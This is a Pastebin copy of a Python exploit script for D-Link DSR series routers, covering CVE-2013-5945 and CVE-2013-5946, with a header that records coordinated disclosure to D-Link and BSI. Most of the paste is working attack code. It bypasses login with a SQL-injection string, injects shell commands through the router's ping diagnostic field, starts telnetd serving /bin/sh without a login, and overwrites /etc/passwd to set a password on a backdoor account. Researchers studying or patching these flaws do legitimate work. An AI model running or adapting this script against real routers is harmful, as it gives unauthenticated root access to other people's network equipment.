Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #megafab.net
- //////////////////////////////////////////////////////////////////////////////////////////////////////
- #########################################################################################
- # Python TOOL
- # D-Link DSR Router Series - Remote Root Shell Exploit
- # Author : 0_o -- null_null
- # Copyright : 1337day.com !
- ##########################################################################################
- -----------------------------------------------------------------------------------------------------
- #!/usr/bin/python
- #
- # CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection
- # CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
- #
- # Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44)
- # D-Link DSR-150N (Firmware < v1.05B64)
- # D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
- # D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
- # D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
- #
- # Likely to work on: D-Link DWC-1000
- #
- # Download URL: http://tsd.dlink.com.tw
- #
- # Arch: mips and armv6l, Linux
- #
- # Author: 0_o -- null_null
- # nu11.nu11 [at] yahoo.com
- # Oh, and it is n-u-one-one.n-u-one-one, no l's...
- # Wonder how the guys at packet storm could get this wrong :(
- #
- # Date: 2013-08-18
- #
- # Purpose: Get a non-persistent root shell on your D-Link DSR.
- #
- # Prerequisites: Network access to the router ports 443 and 23.
- # !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
- #
- #
- # Coordinated Disclosure -- history and timeline:
- #
- # 2013-09-12: Informed Heise Security and asked for their support on this case
- # 2013-09-13: Informed the manufacturer D-Link via
- # http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!)
- # http://www.d-link.co.za/contactus/feedback/ (contact request submitted)
- # http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)
- # mail@dlink.ru (contact request sent)
- # info@dlink.ee (contact request sent)
- # info@dlink.de (contact request sent)
- # 2013-09-14: Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de
- # 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request.
- # 2013-09-17: German BSI responds, contact established.
- # 2013-09-24: Requested CVE-IDs.
- # 2013-09-25: Heise responds, contact established.
- # 2013-09-27: D-Link asks for details on vulns and the exploit code.
- # Mitre assigns two CVEs:
- # CVE-2013-5945 -- authentication bypass
- # CVE-2013-5946 -- privilege escalation
- # 2013-09-30: D-Link has received the exploit and documentation via BSI
- # 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw
- # DSR-150: Firmware v1.08B44
- # DSR-150N: Firmware v1.05B64
- # DSR-250 and DSR-250N: Firmware v1.08B44
- # DSR-500 and DSR-500N: Firmware v1.08B77
- # DSR-1000 and DSR-1000N: Firmware v1.08B77
- # 2013-12-03: Public Disclosure
- #
- # And now - the fun part :-)
- #
- import httplib
- import urllib
- import telnetlib
- import time
- import sys
- import crypt
- import random
- import string
- ##############################
- #
- # CHANGE THESE VALUES -- BEGIN
- #
- # Your router's IP:PORT
- ipaddr = "192.168.10.1:443"
- # Password to be set (by this hack) on the backdoor account
- bdpasswd = "password"
- #
- # CHANGE THESE VALUES -- END
- #
- # persistent config file: /tmp/teamf1.cfg.ascii
- # Edit this file to make your changes persistent.
- #
- ##############################
- cookie = ""
- pid = -2
- bduser = ""
- def request(m = "", u = "", b = "", h = ""):
- global ipaddr
- conn = httplib.HTTPSConnection(ipaddr, timeout = 15)
- assert m in ["GET", "POST"]
- conn.request(method = m, url = u, body = b, headers = h)
- ret = conn.getresponse()
- header = ret.getheaders()
- data = ret.read()
- conn.close()
- return (header, data)
- def login(user, passwd):
- global ipaddr
- headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- 'User-Agent': "Exploit",
- 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
- 'Content-Type': "application/x-www-form-urlencoded"}
- body = {'thispage' : "index.htm",
- 'Users.UserName' : user,
- 'Users.Password' : passwd,
- 'button.login.Users.deviceStatus' : "Login",
- 'Login.userAgent' : "Exploit"}
- return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
- def logout():
- global ipaddr, cookie
- headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- 'User-Agent': "Exploit",
- 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
- 'Content-Type': "application/x-www-form-urlencoded"}
- body = ""
- return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)
- def execCmd(cmd = None):
- global ipaddr, cookie
- assert cmd != None
- headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
- 'User-Agent': "Exploit",
- 'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",
- 'Cookie': cookie,
- 'Content-Type': "application/x-www-form-urlencoded"}
- body = {'thispage' : "systemCheck.htm",
- 'ping.ip' : "localhost;" + cmd,
- 'button.traceroute.diagDisplay' : "Traceroute"}
- return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
- def findPid(mystr = None):
- # " 957 root 2700 S /usr/sbin/telnetd -l /bin/login"
- assert mystr != None
- mypid = 0
- (h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");
- s = d.find(mystr)
- if s > 0:
- # telnetd is running
- cand = d[s - 50 : s]
- try:
- mypid = int(cand.split("\n")[1].split()[0])
- except IndexError:
- mypid = int(cand.split(">")[1].split()[0])
- return mypid
- def restartTelnetd(mystr1 = None, mystr2 = None):
- assert mystr1 != None and mystr2 != None
- global pid
- pid = findPid("telnetd -l /bin/")
- if pid > 0:
- # Stopping the running telnetd
- print "[+] Stopping telnetd (" + str(pid) + "): ",
- sys.stdout.flush()
- (h, d) = execCmd("kill " + str(pid))
- pid = findPid(mystr1)
- if pid > 0:
- print "FAILURE"
- sys.exit(-1)
- else:
- print "OK"
- # Starting a new telnetd
- print "[+] Starting telnetd: ",
- sys.stdout.flush()
- (h, d) = execCmd("telnetd -l " + mystr2)
- pid = findPid("telnetd -l " + mystr2)
- if pid > 0:
- print "OK (" + str(pid) + ")"
- else:
- print "FAILURE"
- sys.exit(-1)
- def main():
- global ipaddr, cookie, pid, bduser, bdpasswd
- user = "admin"
- passwd = "' or 'a'='a"
- print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"
- print "This change is non-persistent to device reboots."
- print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"
- # Logging into the router
- print "[+] Trying to log into the router: ",
- sys.stdout.flush()
- (h, d) = login(user, passwd)
- if d.find("User already logged in") > 0:
- print "FAILURE"
- print "[-] The user \"admin\" is still logged in. Please log out from your current session first."
- sys.exit(-1)
- elif d.find('<a href="?page=index.htm">Logout</a>') > 0:
- while h:
- (c1, c2) = h.pop()
- if c1 == 'set-cookie':
- cookie = c2
- break
- print "OK (" + cookie + ")"
- elif d.find("Invalid username or password") > 0:
- print "FAILURE"
- print "[-] Invalid username or password"
- sys.exit(-1)
- else:
- print "FAILURE"
- print "[-] Unable to login."
- sys.exit(-1)
- # Starting a telnetd with custom parameters
- print "[+] Preparing the hack..."
- restartTelnetd("/bin/login", "/bin/sh")
- # Do the h4cK
- print "[+] Hacking the router..."
- print "[+] Getting the backdoor user name: ",
- sys.stdout.flush()
- tn = telnetlib.Telnet(ipaddr.split(":")[0])
- tn.read_very_eager()
- tn.write("cat /etc/profile\n")
- time.sleep(5)
- data = tn.read_very_eager()
- for i in data.split("\n"):
- if i.find('"$USER"') > 0:
- bduser = i.split('"')[3]
- break
- if len(bduser) > 0:
- print "OK (" + bduser + ")"
- else:
- print "FAILURE"
- sys.exit(-1)
- print "[+] Setting the new password for " + bduser + ": ",
- sys.stdout.flush()
- tn.write("cat /etc/passwd\n")
- time.sleep(5)
- data = tn.read_very_eager()
- data = data.split("\n")
- data.reverse()
- data.pop()
- data.reverse()
- data.pop()
- data = "\n".join(data)
- for i in data.split("\n"):
- if i.find(bduser) >= 0:
- line = i.split(':')
- s1 = string.lowercase + string.uppercase + string.digits
- salt = ''.join(random.sample(s1,2))
- pw = crypt.crypt(bdpasswd, salt)
- line[1] = pw
- # doesn't work for some odd reason -- too lazy to find out why
- #salt = ''.join(random.sample(s1,8))
- #line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')
- data = data.replace(i, ":".join(line))
- break
- tn.write('echo -en "" > /etc/passwd\n')
- time.sleep(5)
- for i in data.split("\n"):
- tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')
- time.sleep(1)
- data = tn.read_very_eager()
- tn.close()
- if data.find(pw) >= 0:
- print "OK (" + pw + ")"
- success = True
- else:
- print "FAILURE"
- print "[-] Could not set the new password."
- sys.exit(-1)
- # Switching back to the originals
- print "[+] Mobbing up..."
- restartTelnetd("/bin/sh", "/bin/login")
- # Logging out
- print "[+] Logging out: ",
- sys.stdout.flush()
- (h, d) = logout()
- if d.find('value="Login"') > 0:
- print "OK"
- else:
- print "FAILURE"
- print "[-] Unable to determine if user is logged out."
- # Print success message
- if success:
- print "[+] You can now log in via SSH and Telnet by using:"
- print " user: " + bduser
- print " pass: " + bdpasswd
- print " These changes will be reverted upon router reboot."
- print " Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."
- main()
- sys.exit(0)
- # 65D018B10916232F 1337day.com [2013-12-07] 707A52BF480838B2 #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement